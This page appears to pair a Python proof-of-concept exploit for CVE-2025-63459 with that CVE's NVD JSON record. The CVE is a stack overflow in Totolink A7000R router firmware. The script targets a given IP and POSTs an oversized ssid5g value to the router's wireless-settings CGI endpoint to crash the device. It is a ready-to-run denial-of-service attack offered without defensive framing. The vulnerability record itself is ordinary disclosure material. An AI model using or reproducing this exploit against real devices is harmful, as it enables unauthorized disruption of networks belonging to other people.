CVE-2025-63459

import requests import sys # CVE-2025-63459 PoC - Totolink A7000R Stack Overflow via ssid5g parameter # Target: Totolink A7000R v9.1.0u.6115_B20201022 def exploit_totolink(target_ip, target_port=80): """ Exploit stack overflow vulnerability in Totolink A7000R via the ssid5g parameter in sub_421CF0 function """ url = f"http://{target_ip}:{target_port}/cgi-bin-igd/luci/;stok=/admin/wireless/ssid5g" # Construct payload with oversized ssid5g parameter # The overflow triggers when data exceeds stack buffer size payload = { 'ssid5g': 'A' * 1000, # Overflow payload 'action': 'save' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending exploit payload to {target_ip}...") response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Exploit sent successfully") return True except requests.exceptions.RequestException as e: print(f"[!] Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_totolink(target, port)

{"cve": {"id": "CVE-2025-63459", "sourceIdentifier": "[email protected]", "published": "2025-10-31T18:15:33.753", "lastModified": "2025-11-05T17:29:18.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink A7000R v9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the ssid5g parameter in the sub_421CF0 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a7000r_firmware:9.1.0u.6115_b20201022:*:*:*:*:*:*:*", "matchCriteriaId": "A5BB152D-5E33-4158-BFFD-68AED6A174E2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a7000r:-:*:*:*:*:*:*:*", "matchCriteriaId": "603DA206-05D4-48FD-A506-F3BD8B4383B2"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/5/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/5/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}